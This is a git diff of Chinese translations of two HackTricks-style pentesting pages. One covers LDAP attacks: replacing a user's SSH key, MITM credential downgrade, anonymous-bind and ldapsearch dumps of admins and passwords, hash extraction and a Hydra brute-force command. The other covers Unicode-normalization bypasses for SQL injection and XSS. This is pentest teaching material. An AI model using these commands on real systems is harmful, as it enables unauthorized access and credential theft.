LDIFLDAP 数据交换格式)将目录内容定义为一组记录。它还可以表示更新请求(添加、修改、删除、重命名)。 LDIFLDAP数据交换格式将目录内容定义为一组记录。它还可以表示更新请求添加、修改、删除、重命名
```bash ```bash
dn: dc=local dn: dc=local
dc: local dc: local
@ -66,14 +66,15 @@ mail: pepe@hacktricks.xyz
phone: 23627387495 phone: 23627387495
``` ```
* 第1-3行定义了顶级域local * 第1-3行定义了顶级域local
* 第5-8行定义了一级域moneycorpmoneycorp.local * 第5-8行定义了一级域moneycorpmoneycorp.local
* 第10-16行定义了个组织单位dev和sales * 第10-16行定义了2个组织单位dev和sales
* 第18-26行创建了一个域对象并为其分配了带有值的属性 * 第18-26行创建了一个域对象并分配了带有值的属性
## 写入数据 ## 写入数据
请注意,如果您可以修改值,您可能能够执行一些非常有趣的操作。例如,想象一下,如果您**可以更改用户或任何用户的"sshPublicKey"信息**。如果这个属性存在,那么很有可能**ssh正在从LDAP读取公钥**。如果您可以修改用户的公钥即使在ssh中没有启用密码认证,您**也将能够以该用户身份登录**。 请注意,如果您可以修改值,您可能能够执行非常有趣的操作。例如,想象一下,您**可以更改您的用户或任何用户的"sshPublicKey"信息**。如果存在这个属性,那么**ssh很可能正在从LDAP读取公钥**。如果您可以修改用户的公钥即使在ssh中未启用密码身份验证,您**也将能够以该用户身份登录**。
```bash ```bash
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3 >>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True) >>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True) >>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
@ -83,30 +84,30 @@ True
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN' u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]}) >>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
``` ```
## 嗅探明文凭证 ## 窃取明文凭证
如果LDAP未使用SSL你可以在网络中**嗅探明文凭证**。 如果LDAP在没有SSL的情况下使用您可以在网络中**窃取明文凭证**。
此外,你可以在**LDAP服务器和客户端之间**的网络中执行**MITM**攻击。在这里,你可以进行**降级攻击**,使客户端使用**明文凭证**登录。 此外,您可以在LDAP服务器和客户端之间的网络中执行**中间人攻击**。在这里,您可以进行**降级攻击**,使客户端使用**明文凭证**进行登录。
**如果使用了SSL**,你可以尝试执行上述的**MITM**攻击,但提供一个**假证书**,如果**用户接受了它**,你就能降级认证方法并再次看到凭证。 **如果使用SSL**,您可以尝试进行**中间人攻击**,就像上面提到的那样,但提供一个**伪证书**,如果**用户接受**它,您可以降级认证方法并再次查看凭证。
## 匿名访问 ## 匿名访问
### 绕过TLS SNI检查 ### 绕过TLS SNI检查
根据[**这篇文章**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)仅通过使用任意域名如company.com访问LDAP服务器作者能够作为匿名用户联系LDAP服务并提取信息 根据[**这篇文章**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)只需使用任意域名如company.com访问LDAP服务器他就能够以匿名用户的身份联系LDAP服务并提取信息
```bash ```bash
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
``` ```
### LDAP匿名绑定 ### LDAP匿名绑定
[LDAP匿名绑定](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled)允许**未经认证的攻击者**检索域中的信息,例如用户、组、计算机的完整列表,用户账户属性,以及域密码策略。这是一种**遗留配置**自Windows Server 2003起只有经过认证的用户才被允许发起LDAP请求。\ [LDAP匿名绑定](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled)允许**未经身份验证的攻击者**从域中检索信息,例如完整的用户、组、计算机、用户帐户属性和域密码策略列表。这是一个**传统配置**自Windows Server 2003起只有经过身份验证的用户才被允许发起LDAP请求。\
然而,管理员可能需要**为特定应用程序设置允许匿名绑定**,并且无意中提供了超出预期的访问权限,从而使未经认证的用户能够访问AD中的所有对象。 然而,管理员可能需要**设置特定应用程序以允许匿名绑定**并提供比预期更多的访问权限,从而使未经身份验证的用户可以访问AD中的所有对象。
## 有效凭 ## 有效凭
如果您拥有登录LDAP服务器的有效凭证您可以使用以下工具导出有关域管理员的所有信息: 如果您有有效凭据登录LDAP服务器您可以使用以下命令转储有关域管理员的所有信息:
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
```bash ```bash
@ -127,11 +128,11 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
<details> <details>
<summary>查看使用 Python 进行 LDAP 枚举</summary> <summary>使用Python进行LDAP枚举</summary>
您可以尝试**使用或不使用凭证通过 Python 枚举 LDAP**`pip3 install ldap3` 您可以尝试使用Python**带有或不带有凭据枚举LDAP**`pip3 install ldap3`
首先尝试**不使用**凭证连接: 首先尝试**无需**凭据连接:
```bash ```bash
>>> import ldap3 >>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True) >>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
@ -140,7 +141,7 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
True True
>>> server.info >>> server.info
``` ```
如果响应是`True`如前面的例子所示你可以从以下位置获取LDAP如**命名上下文**或**域名**)服务器的一些**有趣数据** 如果响应`True`,就像前面的示例一样,您可以从 LDAP 服务器中获取一些**有趣的数据**(如**命名上下文**或**域名**
```bash ```bash
>>> server.info >>> server.info
DSA info (from DSE): DSA info (from DSE):
@ -148,15 +149,13 @@ Supported LDAP versions: 3
Naming contexts: Naming contexts:
dc=DOMAIN,dc=DOMAIN dc=DOMAIN,dc=DOMAIN
``` ```
```markdown 一旦您获得命名上下文,您可以进行一些更令人兴奋的查询。这个简单的查询应该向您显示目录中的所有对象:
一旦你有了命名上下文,你就可以进行一些更加令人兴奋的查询。这个简单的查询应该会显示目录中的所有对象:
```
```bash ```bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*') >>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True True
>> connection.entries >> connection.entries
``` ```
或者**导出**整个ldap 或者**转储**整个ldap
```bash ```bash
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword') >> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True True
@ -166,7 +165,7 @@ True
### windapsearch ### windapsearch
[**Windapsearch**](https://github.com/ropnop/windapsearch) \*\*\*\* 是一个 Python 脚本,通过使用 LDAP 查询,可以有效地从 Windows 域中**枚举用户、组和计算机** [**Windapsearch**](https://github.com/ropnop/windapsearch) 是一个使用 LDAP 查询来枚举 Windows 域中的用户、组和计算机的 Python 脚本
```bash ```bash
# Get computers # Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
@ -181,7 +180,7 @@ python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --p
``` ```
### ldapsearch ### ldapsearch
检查空凭证或您的凭证是否有效: 检查空凭据或验证您的凭据是否有效:
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
@ -194,9 +193,9 @@ result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839 tion a successful bind must be completed on the connection., data 0, v3839
``` ```
如果你发现某些内容显示“_bind must be completed_”意味着凭证不正确。 如果发现有关“_bind必须完成_”的内容意味着凭据不正确。
你可以使用以下方法从一个域中提取**所有信息** 您可以使用以下方法提取**域中的所有内容**
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication -x Simple Authentication
@ -210,7 +209,7 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local" #Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
``` ```
提取**computers** 提取**计算机**
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
``` ```
@ -218,7 +217,7 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Com
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
``` ```
提取 **Domain Admins** 提取 **Domain Admins**:
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
``` ```
@ -226,28 +225,26 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Dom
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
``` ```
提取 **Enterprise Admins** 提取**Enterprise Admins**
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
``` ```
提取**管理员** 提取 **Administrators**
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
``` ```
提取 **Remote Desktop Group** 提取**远程桌面组**
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
``` ```
要查看您是否有权访问任何密码,您可以在执行其中一个查询后使用 grep 要查看是否有访问密码,您可以在执行以下查询之后使用grep
```bash ```bash
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas" <ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
``` ```
请注意,您在这里找到的密码可能不是真实的密码...
#### pbis #### pbis
您可以从这里下载 **pbis**[https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/),通常安装在 `/opt/pbis`。\ 您可以从这里下载**pbis**[https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/),通常安装在`/opt/pbis`目录下。\
**Pbis** 允许您轻松获取基本信息: **Pbis**允许您轻松获取基本信息:
```bash ```bash
#Read keytab file #Read keytab file
./klist -k /etc/krb5.keytab ./klist -k /etc/krb5.keytab
@ -295,11 +292,11 @@ done
### Apache Directory ### Apache Directory
[**从这里下载 Apache Directory**](https://directory.apache.org/studio/download/download-linux.html)。你可以在[这里找到如何使用这个工具的示例](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s)。 [**从这里下载Apache Directory**](https://directory.apache.org/studio/download/download-linux.html)。您可以在[这里找到如何使用此工具的示例](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s)。
### jxplorer ### jxplorer
你可以在这里下载带有 LDAP 服务器的图形界面:[http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html) 您可以在此处下载带有LDAP服务器的图形界面:[http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
默认安装在_/opt/jxplorer_ 默认安装在_/opt/jxplorer_
@ -307,20 +304,18 @@ done
### Godap ### Godap
可以在[https://github.com/Macmod/godap](https://github.com/Macmod/godap)访问它 可以在[https://github.com/Macmod/godap](https://github.com/Macmod/godap)访问它
## 通过 kerberos 进行认 ## 通过kerberos进行身份验
使用 `ldapsearch`,你可以通过 `-Y GSSAPI` 参数**使用 kerberos 进行认证**,而不是通过 **NTLM** 使用`ldapsearch`,您可以通过使用参数`-Y GSSAPI`来**对kerberos进行身份验证**,而不是通过**NTLM**进行身份验证
## POST ## POST
如果你能访问包含数据库的文件(可能在 _/var/lib/ldap_ 中)。你可以使用以下方法提取哈希 如果您可以访问包含数据库的文件可能在_/var/lib/ldap_中。您可以使用以下方法提取哈希值
```bash ```bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
``` ```
您可以将密码哈希(从 '{SSHA}' 到 'structural',不添加 'structural'提供给john。
### 配置文件 ### 配置文件
* 通用 * 通用
@ -343,8 +338,6 @@ cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
* slapd.sas\_oc.conf * slapd.sas\_oc.conf
* Sun ONE Directory Server 5.1 * Sun ONE Directory Server 5.1
* 75sas.ldif * 75sas.ldif
## HackTricks 自动命令
``` ```
Protocol_Name: LDAP #Protocol Abbreviation if there is one. Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one. Port_Number: 389,636 #Comma separated if there is more than one.
@ -385,12 +378,14 @@ Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
``` ```
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* 您是否在**网络安全公司**工作?您是否希望在**HackTricks中看到您的公司广告**?或者您是否想要访问**PEASS的最新版本或以PDF格式下载HackTricks**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop) 其他支持HackTricks的方式
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs集合**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。** * 探索我们的独家[**NFTs**]收藏品,[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -2,57 +2,60 @@
<details> <details>
<summary><strong>从零开始学习AWS黑客攻击直到成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
## 背景 **这是一个摘要:[https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/)**。查看更多详细信息(图片取自该网站)。
规范化确保两个可能使用不同二进制表示形式的字符串在规范化后具有相同的二进制值。 ## 理解Unicode和规范化
字符之间有两种总体类型的等价性,“**规范等价**”和“**兼容性等价**”:\ Unicode规范化是一种确保字符的不同二进制表示标准化为相同二进制值的过程。这个过程在处理编程和数据处理中的字符串时至关重要。Unicode标准定义了两种字符等价性
**规范等价**字符在打印或显示时被假定具有相同的外观和含义。**兼容性等价**是一种较弱的等价性,在这种情况下,两个值可能代表相同的抽象字符,但可以以不同的方式显示。**Unicode**标准定义了**4种规范化算法****NFC、NFD、NFKD和NFKD**每种算法以不同的方式应用规范和兼容性规范化技术。您可以在Unicode.org上阅读更多关于不同技术的信息。
### Unicode编码 1. **规范等价性**:如果字符在打印或显示时具有相同的外观和含义,则被视为规范等价。
2. **兼容等价性**:一种较弱的等价形式,其中字符可能表示相同的抽象字符,但显示方式可能不同。
尽管Unicode部分设计是为了解决互操作性问题但标准的发展、对旧系统的支持需求以及不同的编码方法仍然可能构成挑战。\ 有**四种Unicode规范化算法**NFC、NFD、NFKC和NFKD。每种算法以不同的方式应用规范和兼容规范化技术。要更深入地了解这些技术您可以在[Unicode.org](https://unicode.org/)上探索这些技术。
在我们深入研究Unicode攻击之前以下是关于Unicode的主要了解点
* 每个字符或符号都映射到一个数值,称为“代码点”。 ### Unicode编码的关键要点
* 代码点值因此字符本身由1个或多个字节在内存中表示。像英语国家使用的LATIN-1字符可以使用1个字节表示。其他语言有更多字符需要更多字节来表示所有不同的代码点因为它们不能使用已经被LATIN-1占用的那些
* “编码”一词指的是字符以字节序列表示的方法。最常见的编码标准是UTF-8使用这种编码方案ASCII字符可以使用1个字节表示或者最多4个字节表示其他字符。
* 当系统处理数据时,它需要知道使用的编码来将字节流转换为字符。
* 尽管UTF-8是最常见的但还有类似的编码标准名为UTF-16和UTF-32它们之间的区别在于表示每个字符所使用的字节数。例如UTF-16使用至少2个字节但最多4个而UTF-32对所有字符使用4个字节。
Unicode规范化两个不同字节表示相同字符的示例 理解Unicode编码至关重要特别是在处理不同系统或语言之间的互操作性问题时。以下是主要要点
![](<../../.gitbook/assets/image (156).png>) - **代码点和字符**在Unicode中每个字符或符号都被分配一个称为“代码点”的数值。
- **字节表示**:代码点(或字符)在内存中由一个或多个字节表示。例如,拉丁-1字符在讲英语的国家中很常见使用一个字节表示。然而具有更大字符集的语言需要更多字节来表示。
- **编码**这个术语指的是如何将字符转换为一系列字节。UTF-8是一种流行的编码标准其中ASCII字符使用一个字节表示其他字符最多使用四个字节。
- **处理数据**:处理数据的系统必须了解所使用的编码,以正确地将字节流转换为字符。
- **UTF的变体**除了UTF-8还有其他编码标准如UTF-16使用至少2个字节最多4个字节和UTF-32所有字符使用4个字节
**Unicode等价字符列表可以在这里找到** [https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html) 和 [https://0xacb.com/normalization\_table](https://0xacb.com/normalization\_table) 理解这些概念对于有效处理和减轻由Unicode的复杂性及其各种编码方法引起的潜在问题至关重要。
```python
unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
```
**Unicode等效字符列表可在此找到** [https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html) 和 [https://0xacb.com/normalization\_table](https://0xacb.com/normalization\_table)
### 发现 ### 探索
如果您在web应用程序中找到一个被回显的值您可以尝试发送**KELVIN符号 (U+0212A)**,它**规范化为"K"**(您可以将其发送为`%e2%84%aa`)。**如果回显了一个"K"**,那么,某种形式的**Unicode规范化**正在执行。 如果您在web应用程序中找到一个被回显的值您可以尝试发送**KELVIN SIGN (U+0212A)**,它**规范化为 "K"** (您可以发送它作为 `%e2%84%aa`)。**如果回显了一个 "K"**,那么可能正在执行某种**Unicode规范化**
其他**示例**`%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` 经过**unicode**后是 `Leonishan` 另一个**示例**`%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` 经过**unicode**后是 `Leonishan`
## **易受攻击的示例** ## **易受攻击的示例**
### **SQL注入过滤器绕过** ### **SQL注入过滤器绕过**
想象一个网页,它使用字符`'`来创建带有用户输入的SQL查询。这个网页作为安全措施**删除**用户输入中所有出现的字符**`'`**,但在**删除之后**和**创建查询之前**,它使用**Unicode**对用户输入进行**规范化**。 想象一个网页正在使用字符 `'` 来使用用户输入创建SQL查询。这个网页作为安全措施**删除**用户输入中所有字符 **`'`** 的出现,但在**删除之后**和**创建查询之前**,它使用**Unicode**对用户输入进行**规范化**。
然后,恶意用户可以插入一个不同的Unicode字符等价于`' (0x27)`,如`%ef%bc%87`,当输入被规范化时,会创建一个单引号,出现**SQL注入漏洞** 然后,一个恶意用户可以插入一个等效于 `' (0x27)` 的不同Unicode字符比如 `%ef%bc%87`,当输入被规范化时,一个单引号被创建,从而出现**SQL注入漏洞**
![](<../../.gitbook/assets/image (157) (1).png>) ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (157) (1).png>)
**一些有趣的Unicode字符** **一些有趣的Unicode字符**
@ -84,42 +87,38 @@ Unicode规范化两个不同字节表示相同字符的示例
{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %} {% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}
### XSS (跨站脚本攻击) ### XSS(跨站脚本)
您可以使用以下字符之一来欺骗 web 应用程序并利用 XSS 您可以使用以下字符来欺骗 Web 应用程序并利用 XSS
![](<../../.gitbook/assets/image (312) (1).png>) ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (312) (1).png>)
请注意,例如第一个 Unicode 字符可以发送为:`%e2%89%ae` 或 `%u226e` 请注意,例如第一个提出的 Unicode 字符可以发送为:`%e2%89%ae` 或 `%u226e`
![](<../../.gitbook/assets/image (215) (1).png>) ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (215) (1).png>)
### Fuzzing 正则表达式 ### 模糊正则表达式
